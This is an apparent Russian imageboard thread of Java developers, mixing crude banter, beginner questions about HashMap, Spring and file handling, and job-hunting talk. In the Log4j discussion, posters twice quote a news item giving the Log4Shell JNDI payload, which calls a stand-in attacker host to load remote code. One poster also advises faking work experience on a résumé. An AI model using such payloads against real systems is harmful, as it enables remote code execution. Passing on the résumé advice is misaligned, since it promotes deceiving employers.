А прикинь как бы питонисту пришлось грепать по проекту и заменять вызовы 100500 импортированных кусков библиотеки на обертки
Что, никаких клиентских сертификатов, VPN, реверс-прокси, прям голый сервер приложений торчит в Интернет? Выпил log4j вряд ли тебя спасёт.
так все корпорации фанга уже хакнули, тупо в форму логина запихивают строку чтобы она логировалась и все
Ахуеть, впервые вижу, чтобы в мавене можно было так версии указывать.
Попадалось как-то в гайдах по миграции на 11 жабу, как подключать выпиленный JAXB только начиная с 11 версии. Вообще, там полно подобных малоизвестных фокусов, заходишь в помники чужих проектов и думаешь: "А что, так можно было?".
Можно, но не нужно. Потому что например у тебя локально и на билд сервере может по разному обновиться версия. И ты билдишь с 1.1 и у тебя все ОК, а сервер с 2.0-alpha и там кровь кишки распидорасило.
Хорошо что я как криворукий долбоеб все всегда ручками логировал в файл
Действительно.
Да, в его случае лонг будет заебись.
Ради причия заменил бы totalDollars = totalDolalrs + dollars; на лаконичное totalDollars += dollars;
Сделал бы вывод аккуратнее. Для числа 5 у тебя получится неграмотное выражение - "Средняя цена покупки за 5 ордера: ..."
Почему переменная total не используется совсем?
И в целом - какую проблему ты этим кодом решаешь?
Ну например ты хочешь купить биток, ожидаешь что цена будет снижаться, у тебя есть 1000 баксов, на 48к ты покупаешь на 150, на 44к на 200, на 38к на 250, на 30к на 350 и узнать среднюю цену всех твоих покупок, что бы прикинуть как лучше раскидать средства, сколько ордеров делать и тд.
Даже в твоём примере прямо разделяются ордер и деньги. Наверное, тогда стоит эти сущности разделить и в коде? Вдруг вместо биткойна захочешь другую валюту использовать?
> Вдруг вместо биткойна захочешь другую валюту использовать?
Не, зачем покупать скам?
Че я бы хотел добавить это ввод цены покупки и суммы в одну строку, например биток за 45000 300, через пробел указать цену и что бы программа сама поняла что есть что, а не жмякать лишний раз энтер в консоль и прописывать дополнительно.
Предполагаю потому что не настоящий проект и поэтому похуй. Хотя конечно если нужна высокая точность, то bigdecimal необходим. На одном проекте видел вживую, как чуваки начали использовать числа с плавающей точкой и в итоге у них перестали остатки сходиться, потом пиздюли были знатные
Если доебаться по максимуму:
1. Нахуя ты сохраняешь "одноразовые" значения в переменные, если ничто не мешает их тупо заинлайнить?
2. Нахуя ты юзаешь форму x = x + А если есть прекрасная x += А?
3. Сильно не вникал, но уверен что сущность "coin" там нахуй не нужна, она какой-то промежуточный контейнер для хранения какого-то частного от деления чтоб потом это все сложить. Бред пиздец. Что тебе мешает просто сложить все "доллары" и поделить на n?
4. Всякий раз, когда тебе лень ебаться с грамматической нормализацией формы вывода, делай что-то вроде "Средняя цена покупки ордера (%N% шт.)". Тогда не будет хуйни вроде "за 8 часа я прошел 7 километр"
5. Не пили логику в мейн. Делай метод-экстракт. Хотя сразу видно что это не рабочий прожект, так что это доебка
6. Дрочить на float вместо double, во имя какой-то там экономии - сомнительные анальные пляски. Чревато это тем, что многие библиотеки работают с double, и когда все это начнет мешаться, у тебя всюду будут заебывающие тайп-касты.
Традиционно, самые дорогие Java разработчики сидят в финтехе.
Несмотря на высокие зарплаты, вам могут попасться джависты из финтеха с довольно низкой квалификацией. Причина в том, что в некоторых финтех компаниях разработчики могут делать минорные фичи и делать их в стол, профессиональный скилл при долгой такой работе может деградировать.
Более низкие зарплатные ожидания у джавистов из интеграторов и энтерпрайза.
Java — язык, куда многие хотят попасть. Количество джунов в профессии растет. Это хорошо и плохо одновременно. Плохо, потому что часть выпускников скоростных курсов знают только Spring и не могут написать "Hello world!" без запуска IDE.
Джависты, чому вы такое говно по мнению херок?
Я наоборот нихуя не знаю кроме пуре-джавы, особенно спринг. Последствия самовката.
Сомневаюсь что это может быть плюсом, лол. Уж лучше наоборот
Ну бывают иногда слышу про мемные истории, как вкатун после курсов пришел на собес и не знает, что такое цикл for, хотя имеет несколько петпроджектов со спрингом на гитхабе.
Потому что такой прожект любая обезьяна может накидать с уроков на ютабчике. Особенно легкий путь это спиздить репозиторий автора и тупо переименовать там все.
Чтобы оно заработало после того как накидать, надо сначала разобраться.
Чтобы переименовать осмысленно, надо сначала разобраться.
Так то, вкатунишка!
>вкатунишка
себе что ли сказал, клован?
>Чтобы оно заработало после того как накидать, надо сначала разобраться.
Разобраться как нажать кнопку run в идее?
Че несет вообще охуеть. Самооправдания долбоеба который именно так и вкатывался незаменты.
Я вкатывался пять лет назад в микрогалеру в мухостранске без всяких петов. Основы жс и пхп изучил по срачам на форумах и бордах. Повезло то что галера пилила тырпрайз, а не визитки.
А вот ты написал бред и теперь его защишаешь. Если челик просто клонирует чужу репу, его легко поймать на этом с пары вопросов в разговоре. Если же его никто не спросит, то значит компанию беспокоят не уровень знаний, а цена найма.
>А вот ты написал бред и теперь его защишаешь
Я просто написал единственный сценарий, по которому, кмк, может возникнуть ситуация, что ты пришел яко бы со спринг-стеком, но при этом испытываешь проблемы с пониманием циклов.
Может ты что-то спутал, но я не говорю что это типа нормально, я просто так отреагировал на то высказывание что можно на серьезных щах прийти на собес по джаве+спринг не зная циклов
Да тут все твои друзья, приходи.
Олсо, просрано важное, чего коснулся этот >>237045 анон.
7) Надо проверять что у тебя не будет деления на ноль. Это не так страшно, если ты юзаешь результат только для вывода в консоль (будет NaN), но как только ты такой double решишь как-то использовать где-то, где никакой NaN быть не может, у тебя все развалится прямо в рантайме
Стандартный файл это репрезентейшен файла в ОС, можно сказать, таких его свойств как имя, директория, доступность и прочее. Само содержимое можно получить в виде т.н. "потока" - такая хуйня которая может "читаться" в направлении от начала к концу и "заканчиваться". Так вот поток создается как отдельный объект отдельного класса, в конструктор которому ты передаешь file (ну либо тупо адрес, там разные конструкторы). После этого ты можешь из потока читать побайтово (либо посимвольно, если хочешь воспринимать это как текстовик, либо построчно, в зависимости от типа потока, которых там дохуища, например FileInputStream)
То есть совмещение двух технологий для универсализации привели к большому пиздецу.
Почему система для логгирования лезет в сеть? Это же вообще пиздец как безопасно.
Уж как деды запилили, потихоньку переделывается.
>У нас на проекте клиент шлёт SQL-запросы серверу через HTTP без шифрования
Мы тоже так делали, это хорошее, гибкое решение!
правда это было в 2004 году и система использовалась только в локальных сетях без доступа к интернету
А как же! И некоторые процедуры были на джаве Оракл такое позволяет. А гуй был веб + аплеты. Тогда можно было любую дичь творить, хоть с VB приложухой через ActiveX и JACOB конектиться.
Проблема была вызвана тем, что Log4j 2 поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой "${jndi:ldap://attacker.com/a}", при обработке которой Log4j 2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, http://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения.
https://www.opennet.ru/opennews/art.shtml?num=56319
Почитай лучше ещё раз что такое массивы и как с ними работать, вопрос сам собой отпадёт
Минимальный интервал который может быть выражен или померян.
Например гранулярность currentTimeMillis() под виндой около 15 мсек, т.е. если вы цикле дергать currentTimeMillis() и сравнивать значения, то у тебя будет не 1, 2, 3, 4 как можно было бы ожидать, а 1, 16, 30, 47.
>Нужно быть душевнобольным хуесосом без малейшей симпатии к программированию, чтобы в 2022 писать на жабе
so wat. Один из самых популярных и востребованных языков. Но каждый хуесос из пятогоб э начинает рассказы про то какой он ПИТОНОБОГ вкатился вайти за 3 месяца и зарабатывает лярд грина в наносекунду.
доверие к жабе всё равно подорвано у мирового сообщества разработчиков и предпринимателей
И? Буду только рад если начнут использовать тот же go внутри компании. Привязываться всей айти инфраструктурой к 1 платформе это путь долбоебов в независимости от языка.
Допустим, у меня есть класс A и класс B, который расширяет A.
class A {
protected int a;
}
class B extends A {
private int b;
}
Потом создаю массив:
A[] a = new A[2];
a[0] = new B();
Как вообще можно в таком случае выделить непрерывный кусок памяти, если его размер не может быть известен заранее? Или в случае объектов только ссылки на них располагаются в непрерывном участке памяти, а сами объекты уже нет?
> Или в случае объектов только ссылки на них располагаются в непрерывном участке памяти, а сами объекты уже нет?
Да.
>доверие к жабе всё равно подорвано у мирового сообщества разработчиков и предпринимателей
Подорванный ты наш, напомни сколько там было багов из-за переполнения буфера в программах на С/с++?
Это чем же оно подорвано?
Нельзя потому что во время компиляции тип Т неизвестен и поэтому нельзя сгенерировать байткод new T[].
Мне и цветных чертей в браузере нравится двигать и в кишочках хибернейта ковыряться.
Но ведь 90% жабы это сервера и банки, банки и сервера. Значит есть смысл упарываться только суровым бэкендом. Или можно забить хуй и развиваться равномерно по настроению?
К джаве 30 допилят.
Ну и иди нахуй
Так в мок мвц и так куча плюшек. Или ты сам отправляешь рест запросики и тебе нужно убедиться, что все норм
На позиции мидла. Я на говноголере в мухосрани выполняю дефолтные штуки. Контроллеры пишу, дао, сервисы, тесты, чаще что-то исправляю. Но в тех же местах.
Спасибо!
Работа вообще как таковая хуйня.
Да просто собираюсь переехать в мск и вот скоро начать ходить(миит) на собесы.Сначала прохожу из своей мухосрани потом понаехаю. Хочу устроиться в сбер, ходить в офис и жить жизнь. Часто спрашивают, а что интересное делал, у меня интересного "код наплакал".
Ну епта я не такой долбоеб чтобы нихуя не гуглив задавать вопрос тут и надеяться на анона. Гуглил, пытался тут что-то нахуевертить, но сука даже в примерах нет ничего связанного похожего
https://www.freeformatter.com/cron-expression-generator-quartz.html
Ты первую ссылку открыл и пришел в тред? Открывай вторую теперь.
А есть что-то конкретно про хибернейт?
Я уже писал свои вкатышепеты на жаве и рест контроллеры всякие писать проблем не было, так же нет проблем с сиквелем(60 задач на sql-ex), но конкретно с работой с бд через орм проблемы, как все эти связи оформлять и прочее.
1) C# лучше.
2) Бэк уже начали переписывать на го.
3) Когда выйдет мультиплатформа котла, то весь бэк будет переписан на котлин, ибо мобилки это сфера убивающая веб, как когда-то веб десктоп, а единая бизнес логика это просто экономия 9000 часов времени, а значит и денег кабана.
Java труп, без преувеличений, новые сервисы пишутся на том же котле, а джээва шлак просто лежит и ждёт когда его перепишут. И его перепишут.
Репорт.
Основы я брал тут:
https://easyjava.ru/data/jpa/
https://easyjava.ru/data/hibernate/
Ну и баелдунг и книжка java persistence для чего-то конкретного.
Правда не стал ничего писать на голом хибере. Спринг дату у отуса только смотрел. Для пета мне хватило.
Скорее всего, такого не будет. Ты можешь делать таску раз в 10 минут на тридцатую секунду, но никак не с интервалом в 10:30
ScheduledExecutorService
Безработный нубяра незаметен
Толсто. Ниже тред по паскалю висит.
C++ статический язык, поэтому там темплейты реализуемы достаточно легко.
В Java у тебя классы грузятся динамически или вообще генерируются - поэтому максимум что можно сделать в Java - это Generic Specialization.
В принципе конечно можно и темплейты реализовать, но это надо весь темплейт энджин засунуть в рантайм и непонятно как избежать разных побочных эффектов со всякими ссылками на другие классы или темплейты которые еще не были загружены.
> В реализации подстановок JNDI в библиотеке Log4j 2 выявлена ещё одна уязвимость (CVE-2021-45046), проявляющаяся несмотря на добавленные в выпуск 2.15 исправления
> Обход защиты сводится к тому, что вместо прямой подстановки "${jndi:ldap://attacker.com/a}", данное выражение подставляется через значение промежуточной переменной, используемой в правилах форматирования вывода в лог. Например, если при выводе в лог используется контекстный запрос ${ctx:apiversion}, то атака может быть проведена через подстановку данных "${jndi:ldap://attacker.com/a}" в значение, записываемое в переменную apiversion.
это смешно
джава мартыханы разучились программировать
Зато в логгере можно код запускать!!!!
>то атака может быть проведена через подстановку данных "${jndi:ldap://attacker.com/a}" в значение, записываемое в переменную apiversion.
А как это сделать внешнему атакующему?
>Просто срать, везде где есть инпут от юзера, если в приложении был этот дырявый логер то он все исполнит.
Ты хоть обосрись, но ${ctx:apiversion} ты так не поменяешь.
Да ок, выучить язык программирования ещё не значит научиться алгоритмически мыслить. Пытайся ещё решать какие-нибудь совсем простые задачи, пиши программы для себя, и всё придёт.
>алгоритмически мыслить
Разве такое надрочить получится, я если даже и дойду до первых собесов, то пуская слюни в слезах убегу при первой же задаче от hr. Прям руки опустились, вроде бы нашёл дело, которое мне нравится, но обидно осознавать, что оно мне так плохо даётся. В любом случае, спасибо за поддержку.
Получится, все надрачивают. С этим никто не рождается, сложно всем.
Пробуй задачки на степиках, кодварсах, литкодах. Там где подсказки можно в комментах прочесть. Мне помогало.
Однажды повезет и проскочишь. Я так делал.
Многословный, с коллекциями хуево работает.
Ты бот?
>жavapidor: кококо солид сингл респонсибилити кококо
>тоже жавапидор: а давайте логгер будет не только выводить текст, но и открывать ссылки
Так солид это для холопов разработчиков приложений. Библиотеки/тулинг/инфраструктура никогда не будут соответствовать всем бестпрактикам.
Прямо как глобальный контекст зависимостей в спринге.
Это два разных жабапидора.
>Роб Харроп Spring 5 для профессионалов
Нормальная книжка чтоб вкатываться? Если я почти полный ноль в спринге. Знаю что стандартом литературы по теме является "Спринг ин экшон", но мой английский не настолько пиздат чтоб я осилил ее в оригинале за короткое время, а хотелось более менее въехать, а потом уже можно и дотянуть.
Ну, вопрос-то в другом был. Если кто-то читал то самое, оценить его годноту. Если оно достаточно качественное то может уоллс и не понадобится
Ну челик ща получает 300к $ в год, найс че.
от уровня решаемых тобой задач зависит. Если ты просто мартышка которая круды стряпает для очередного магазина резиновых дилдаков, то алгоритмы не нужны. Если ты занимаешься программированием фундаментальных вещей типа движков каких-то технологий - то это действительно главное, и это очень дорого стоит. Из этого можно сделать вывод: для 99,5% верно то что алгоритмы вторичны, а макакинг первичен, для остальной половины процента, которые для макак собственно строят галеры, верно то что сказал тот типчик 300к/нсек
Ахуеть.
Но в фаангах же тоже есть таски с теми же самыми крудами и формочками. Наверно даже есть такие работники, кто только этим и занимается. Но ебут алгосами всех.
> соответствовать всем бестпрактикам.
Ну хоть валидатор жаба кода есть, которым можно ебать на собесах, проверит хоть пришел ли тебе через логирование валидный байткод из Китая
Чем тебе UnmodifiableList не угодил?
На хайп адекватным людям похуй, кому надо, тот просто пишет на котлине, и такого вокруг все больше, никуда не исчезает. Просто как первый попавшийся пример - тут кто-то недавно бегал со стажерским тестовым заданием в райффайзен. Так вот, у них там котлин, и задание самом можно было писать и на котлине.
>даже похер что не знаешь как работает промышленное программирование итд за индустрию в целом
Ну если для стажера и какого-нибудь джуна такое прокатит, то на более высоких должностях тебя попустят на System Design.
>>239847
>челик ща получает 300к $ в год
А смысл получать 300к долларов в год, сидя в bay area, где это будет довольно посредственной зп с которой будешь в 0 уходить. Примерно как 70-100к рублей в месяц в России (предполагаю, что своей недвиги нет, и на 70к рублей ты снимаешь в Москве однушку за 40к, а в bay area платишь моргидж)
Не грози Bay Area попивая бояру в однушке за 40к
>что ничего кроме решения алгоритмов не важно
Потому что так отбирают отбитых задротов от академии которыми проще управлять
Перестал учиться хоть в 30+ - через какое-то время пойдешь нахуй из профессии, либо таки научишься либо продолжишь галерить на пятой джаве за копейки.
Никогда. Да хоть JDK 333, какая разница?
Мою любимую версию джавы зовут котлин :3
Слава богу от этого бессмысленного архаизма начали отходить. Самое удобное версионированние это год.месяц.день
Да, надо каждый год ломать обратную совместимость, каждый месяц выпускать новые фичи и каждый день - патчи. Тогда будет заебись.
час.минута.секунда.миллисекунда.микросекунда.наносекунда
Положняк по версиям такой
- год[.месяц[.день]][-ревизия]
- счетчик
- всё остальное - тупо лишние сущности от первокуров
Vim с плагинами
idea 2021.2 с абьюзным триалом
java - version
всё равно говорит, что у меня 11 версия. Что я делают не так?
> Почему уже вышла 17 версия жавы, а в дистрибутивах линупсов до сих пор раздают как актуальную 11 версию?
Просто 11-я это LTS
> всё равно говорит, что у меня 11 версия. Что я делают не так?
Значит в твоем окружении переменная PATH смотрит в bin 11-й версии.
Спроси в /s/, почему шизанутые мейнтейнеры линупсов страдают такой хуйнёй.
Юзай sdkman
Там в /usr/bin есть symbollink на эту 11 версию. Ни каких PATH там нет. Я думал в линупсах по уму сделано, а на деле рукожопство похлеще, чем на винде.
добавь в эту переменную путь до /bin своей жавы 17
1) Чего? У тебя там Array вместо Arrays.
2) Ну так заимпортируй для коллекторов, будет работать
3) На всякий случай сделай invalidate caches and restart и пусть идея заново проиндексирует jdk
Да, воскресенье, сходи купи пару булок в пекарне и какао. В цех85 там какие-то новогодние штуки как раз продают
Товарищи деды, когда можно начинать искать рабiтку джава подсосером (джуном)?
По джавке - сериализацию скоро допройду. Потоки, коллекции, кор знаю. Паттерны тож скоро закончу, одиночка строитель кушал и писал уже дэбилокод для практики так сказать.
Sql кушаю активно, ex-sql пока 27 задач.
Думаю, что после того, как закончу выше сказанное (для Sql задач 60 будет достаточно), мне надо будет покушать спринг и гит
После чего искать работку.
Правильно думаю? Или слишком мало? Заранее спасибо за ваше мнение
Я нашёл место, где вообще только джава-кор нужен. И на собесе нихуя не спрашивали. Хочу съебать.
Что за проект такой?
Спасибо!
>>242374
Что такое? Зп маленькая? Как искал?
У меня друг - джуниор тоже с 0 знаниями залетел, а потом на испытательном сроке охуевал от жизни, ему давали столько инфы о разных фреймах, что по сути он сутками все учили. Хибернейты всякие, скл, спринг, джифрейм библиотеку заставили покушать прости господи... Ещё что то было этакое! А, докер вроде. Вот. И все в рамках месяца, но вроде сейчас уже раздуплился (3й месяц идёт его работы).говорит что на проект поставили. Вот и я чёт иногда думаю, что может просто взять и попробовать на дурака. Все равно фреймы всякие везде разные, и я так понял, что все равно первый месяц - два будут натаскивать под приколы фирмы, так сказать
Если пропадет работа на жаве, в другой любой бэкэндовый язык перекачусь за неделю, анончик.
Короче вопрос, хочу съебать сразу на Джуна в другую контору какую нибудь, будут ли хоть какой-нибудь вес иметь слова, что я где-то там стажировался?
На твиче по вторникам где-то в районе 13:00 по мск идут лекции препода из универа. Он очень классно рассказывает про джаву.
На сайте 1С
Выбери одну технологию, с которой больше всего соприкасался, разберись с ней получше и ври, что полгода джуном работал. В резюме для рекрутеров даже пару месяцев опыта сильно лучше чем 0, они очень тупо фильтруют.
Так кроме банков и епама с бесплатной стажировкой на хз сколько месяцев и шансоми что в штат не возьмут никто удаленку на джуна/стажера на джаве вообще не предлагает.
Иди на пыху в своем Барнауле. Или вали в нерезиновую, Питер или Казань. Ну или пытайся пробиваться через стажировки, где берут каждого десятого.
Я просто не понимаю ничего.
Я думаю проблемы в том, что я не знаю английский на б1.
Вот джава кор я разобрался.. Все эти коллекции, мапы, рекурсии..
Ну в бд запросы делать умею..
Ну во фронте на хтмл что-то могу наверстать..
А хули. Как все это обьеденить. Я не одупляю как спринг работает и у меня возникают такие вопросы, на которые гугл ответа не дает, пиздец блять.
Может я слишком тупой для этого?
Нет, ты не тупой.
Вообще единственное самое главное и важное качество погромиста-упорство.
Просто знай, что если будешь сидеть ковырять-разбираться, то рано или поздно разберёшься во всем.
Нет, только хауди и хо.
Пока только нагуглил и , как отдельным запросом от сущности отправлять массив байт :
@GetMapping(value = "/get-image-with-media-type",
produces = { MediaType.IMAGE_JPEG_VALUE, MediaType.IMAGE_PNG_VALUE, MediaType.IMAGE_GIF_VALUE })
public @ResponseBody byte[] getImageWithMediaType() {}
Еще про мультипарт вроде читал.
И через base64 прямо в json.
Правильнее всего навернуть nginx, чтобы он раздавал картинки.
Есть ещё метод addResourceHandlers в WebMvcConfigurer.
Ну и байтики из контроллера
В какой сфере работают люди на Java?
Насколько актуален этот язык в Android-разработке? Пора на Kotlin перекатываться?
99% проектов по прежнему пишутся на Java, а не на Kotlin. Просто разработчики Kotlin как веганы, их мало, но они больше всех воняют.
Ты не прав! Я смотрел мотивационное видео и там сказали, что любой может стать программистом.
Я собираюсь 2 недели учить джаву, чтобы понять её плюсы и минусы, чтобы выбрать между сишарпом и джавой.
Это шутка такая? Познать за две недели особенности языка?
Остальное ты уже выучил? Databases, git, oop, virtualization, rest, data structures?
Года полтора сижу в треде и одно и тоже. Хотя заметил, что и вне харкача - в комментах на Ютубе или Хабре какой комментаторы вечно при разговоре про джаву без повода начинают эту хуиту про шарп лучше. Как будто промытые.
Надо как-то вкатышей убирать, чтобы не демпинговали, с хаскеллом и ассемблером слишком толсто получается
Причем реальные медийные шарписты естественно считают, что шарп лучше. Но вот этой шизы с моментальным триггером на упоминание джавы у них нету. Обычно это вкатунцы в шарпец так шизеют.
Не ну шарп и правда лучше, как язык. Говорю это как писавший много лет на шарпе и сейчас пишущий на джаве. Джава сейчас это как примерно шарп 2.0 15-ти летней давности.
Но шарп не особо взлетел, так что джава.
> Не ну шарп и правда лучше
Даже если шарп - лучший язык всех времён и народов, какое отношение его обсуждение имеет к жабе? Зачем в этом треде срать оффтопом?
Скажи, как ты это себе представляешь? Все на работе будут писать бэкенд, и только джунам дают задачки с кором, консолью м файликами за 50 строчек?
Джуну дают задание написать какую-нибудь функцию и сразу говорят, что она принимает, что возвращает.
Это так не работает
А миддл может сам придумать сигнатуру метода? А сеньор может сам написать класс?
Да, миддлы пишут классы, но конкретные реализации методов пишут джуны. Сеньоры распределяют классы по миддлам.
Я жабу хочу и денек зарабатывать) Ща в Андерсон тыкнулся, грят с Барнаула не нужны, часовой пояс не тот. Так и что, план откликаться на вакансии с Москвы, еси отзовутся, пройти собеседование и с кем нибудь ебашить в нерезиновую?
>Я не одупляю как спринг работает
Весь мир не одупляет
> гугл ответа не дает
Так ты на ютубе ищи. Все эти джокеры хуёкеры по твоему ради халявного выходного делают?
https://www.youtube.com/results?search_query=евгений+борисов
Весь новый андроид пишется на котлине. А стары понемногу переписывается. Но android и java server side это вообще разные вселенные.
Котлин по синтаксису как Паскаль. Только бегин/енд не хватает для полного сходства. В чём проблема была сделать С-подобный язык?
Да, это паскаль-стиль
Про мохито я не понял.
У тебя ошибка не в кодировке, а отсутствии ';' в конце.
Венде похуй на твои кодировки. Её нужно менять в самом cmd
chcp 65001
Если нацелен на москвабад лучше всего вообще поменять в профиле город на него.
Ну и мертвый сезон начался, привет. Еще недели 4 нет смысла ебать мозги насчет поиска работы.
Нет конечно, но до конца января я бы рыпаться не стал. Лучше вместо дроча хх подрочи жабу, спринг и хибер. Напиши петпроектик. Покушай салатик
Есть. Учи java, maven, junit, sql, hibernate, spring(core/mvc/data/securty), html/css/js. Это наверно мастхев, полюс еще пару-тройку технологий по выбору.
Если кодил на питухоне основы sql, html/css/js, mvc-паттерн должен знать.
Так то перед джавой я три дня изучал пхп, 5 дней питон, мне не зашло. Ну основы с циклами и бинарной сортировкой я на си с cs50 прошел. Когда заточил джвакор неделю посвятил андроеду. Не зашло. И потом взял спринг.
Так что получилось по цыгану-немчинскому.
Спасибо за совет про город!) Про устройство понимаю, что конец декабря/январь все закрывают год и потом бухают/отдыхают. Теорию итак стараюсь сча читать и вникать. Сегодня с горя из-за отказа Андерсона вот пшенички набрал с сыром-косичкой, нахуярюсь. Какой пет писать? Хуйня по типу "добавлять/отдавать какие-ниудь товары и выводить их количество" есть на спринге, crud для файлов тоже есть, там даже всякие jwttoken'ы для авторизации через фронт.
>JVM в бане в любом приличном европейском айти бизнесе
Диван спок. Как человек который в той самое европе и работает могу сказать, что сярп тут практически не распространен. Мейнстрим для бека жава, нода, го, чуть меньше питона. Весь крупный финтех это джава.
>но даже скомпилированный код на С++
Ты тут полегче, если обгоняет то херовый код на С++. Так-то у С++ больше возможностей для улучшения перформанса, но и ебли это требует больше.
Зачем ты так, дотнет очень даже популярен в европе: государственные учреждения с скриптами на vb.net ждут своих героев!
Так и запишем: Сергей Немчинский - дурачок. Удачи за две недели разобраться во всём многообразии хоть какого-нибудь языка
А зачем все разнообразие? Хелловорда + 2-3 самых базовых для этого языка тем хватит, чтобы понять, что язык тебе не нравится.
А почему должны?
Если ты про коллизии, поиск в бакетах идёт линейно через последовательный вызов equals(), а не через сравнение в каком-нибудь бинарном поиске.
так туда и не берут
рассказывай как (скок отказов было и собесов), куда и на сколько денег)))
Вот я недавно немножно задрочил 10-ти пальцевый метод и мне стало неприятно пользоваться мышкой и стрелками. По стрелкам мне посоветовали плагин емакса/вима или свои шорткаты придумать. А вот чтобы лазать по проекту, по плагинам с базой/мавеном, тулам с гитом/терминалом/етк вроде есть куча шорткатов. Это вообще удобно? На все что нужно есть шорткаты?
Есть кто этим пользуется? Стоит игра свеч на заучивание шорткатов?
Ебанулся?
как хешмапа связана с компараблом?
Нет, я распечатал бумажку с шорткатами, повесил рядом и смотрел. Но плагин вообще удобный, рекомендую
>Меня туда звали осенью, мне проект не понравился и я слился
Под проект собеседовали? Или до собеса не дошло.
А не, извиняюсь, перепутал. До собеса не дошло, да, просто отказал. Было лень собеседоваться
Если жаба свежая и коллизий в бакете много трешхолд 8, по моему, то compareTo() будет вызываться.
https://stepik.org/course/90684 - этот курс я прошел, прорешал все задачи.
А с ООП мне где искать задачи?
https://www.examclouds.com/ru/java/java-core-russian/lesson7-tasks - я нашел только это. Но тут задачи уровня "Создай класс, создай экземпляр класса, создай интерфейс."
Я это умею делать, дальше что?
Алишева навернул целиком его плейлист по джава кор.
Если я могу делать то, что дано на скрине, значит тему коллекций я понял и могу дальше идти?
Вообще нихуя непонятно с этой практикой. Приходится весь интернет перекапывать. На codingbat ООП нихуя нет, на подобных сайтах тоже. codewars для отбитых задротов.
Постоянно хочется бросить всё это дело, потому что всё слишком хаотично, структуры изучения нет...Можете меня слать на хуй.
Пошёл на хуй
Вообще тема коллекций довольно обширная. Кто-то скажет, что если ты всё что на скрине написано умеешь, то ты понял коллекции. А кто-то скажет, что пока ты сам своими руками не напишешь имплементации популярных коллекций то ты нихуя не понял в этой жизни
Как таковых задач на ООП не существует. Можешь все классические паттерны в коде реализовать, вот тебе задачи на ооп
Потому что ресурсы не предназначены для записи, только для чтения из собранного архива.
С файлами работать по тупому, через FileWriter и прочие штуки из кора.
Дак а как мне их заставить отображаться в html коде. Там же путь до папки ресурсов ведет, где по идее пикчи лежат. Может можно настроить относительный путь как нибудь , что бы оно на серв в папку записывалось, а не в проект.
Сейчас вот так сохраняю.
img = new FileOutputStream("C:\\Users\\yranikus\\IdeaProjects\\fgjhfdj\\src\\main\\webapp\\resources\\images\\toilets\\"
+ jsonpoint.getName() + ".jpeg");
img.write(convertByte);
img.close();
Тебе для чего? По хорошему тебе нужен слой файлового хранилища типа NFS. Папка ресурсов для другого предназначена. Если для себя, то ты же сам описал способ сохранения через FileOutputStream
Ну дак это костыль, я прописал сохранение в директорию томката. Стало работать. Но как быть если деплоить сайт куда то ?
Папка ресурсов там кстати не та , которая в идее создается .
Как угодно. Например, Files.write(Path.of("C/govno/mocha/pictures", imageBytes). Раздаешь картинки оттуда же
var a = new A();
hm.put(a, 1);
hm.put(a, 2);
то как карта понимает, что надо заменять значение? При первой вставке вычисляется хэш-код объекта а, и в массив бакетов по индексу a & (длина массива - 1) вставляется ссылка на бакет с этой парой (a, 1). При второй вставке снова вычисляется хэш код (то же самое число), но как карта без вызова equals() понимает, что надо заменять 1 на 2? В интернете пишут, что HashMap сравнивает значение, а не ссылки. Как она это делает без вызова equals?
public class Main {
public static void main(String[] args) {
Map<A, Integer> hm = new HashMap<>();
var a = new A();
hm.put(a, 1);
hm.put(a, 2);
}
}
class A {
@Override
public int hashCode() {
System.out.println("hashCode() is called");
return super.hashCode();
}
@Override
public boolean equals(Object obj) {
System.out.println("equals() is called");
return super.equals(obj);
}
}
Этот код показывает, что вызов equals не происходит. Что я понимаю не так?
var a = new A();
hm.put(a, 1);
hm.put(a, 2);
то как карта понимает, что надо заменять значение? При первой вставке вычисляется хэш-код объекта а, и в массив бакетов по индексу a & (длина массива - 1) вставляется ссылка на бакет с этой парой (a, 1). При второй вставке снова вычисляется хэш код (то же самое число), но как карта без вызова equals() понимает, что надо заменять 1 на 2? В интернете пишут, что HashMap сравнивает значение, а не ссылки. Как она это делает без вызова equals?
public class Main {
public static void main(String[] args) {
Map<A, Integer> hm = new HashMap<>();
var a = new A();
hm.put(a, 1);
hm.put(a, 2);
}
}
class A {
@Override
public int hashCode() {
System.out.println("hashCode() is called");
return super.hashCode();
}
@Override
public boolean equals(Object obj) {
System.out.println("equals() is called");
return super.equals(obj);
}
}
Этот код показывает, что вызов equals не происходит. Что я понимаю не так?
Надо 0 строчек, чтобы всё через конфиг. Чтобы приложуху надо было не программировать, а конфигурировать.
Тогда тебе стоило выбрать Salesforce/sap
Легче пробежаться дебагом по кишке вызовов, потом расскажешь
Замечательно, что код для своего стартера не надо писать самому, достаточно скопипастить.
https://spring.io/guides/gs/uploading-files/
Скорее всего, там сначала ссылочное равенство, а уже потом equals. Попробуй сделать то же самое, только для 2-х объектов
> не можете заглянуть в исходники?
Ну ты выдал конечно. Предложи спринг конфигураторам еще и код самим писать.
Код-то мы можем читать и дебажить, а вот писать не хотим. Этим должен заниматься волшебный фреймворк, иначе зачем он вообще нужен?
Спринг-конфигуратор
Че за мурзилки?
public static String longest (String s1, String s2) {
return s2.concat(s1)
.chars()
.mapToObj(i -> (char) i)
.distinct()
.sorted()
.toString();
}
Плюсы:
- обилие качественной литературы
- реальная кроссплатформенность
- язык довольно стабильный, поэтому можно учить даже по старым книгам
Минусы:
- тип byte - знаковый (в каком больном мозгу возникла идея так сделать?)
- сложность настройки платформы как для разработчика, так и для конечного пользователя
- слабые десктопные библиотеки
- отсутствие хороших бесплатных IDE
- вакансии только на бэкенд
Как итог возвращаюсь обратно в сишарп и дотнет, поэтому что язык и платформа более перспективные, есть куча фреймворков из коробки, область применения покрывает всё прикладное программирование.
В этот раз уже получше
Бесплатный хероку засыпает, если к нему не обращаться. И просыпается даже дольше полутора секунд. А так не особо тормозной.
Плюс если ты там сделал хероку сервак, не европейский, а американский, который по умолчанию, то там задержка будет большая.
Для начала нужно вижлу портировать на линукс
> - отсутствие хороших бесплатных IDE
Чем тебе не нравится IDE IntelliJ IDEA Community Edition?
Как бы редко районы ни добавляли, эти данные нельзя хардкодить, они всегда должны тянуться из таблицы-справочника, а не быть частью модели данных, чтобы вообще никогда не надо было править код.
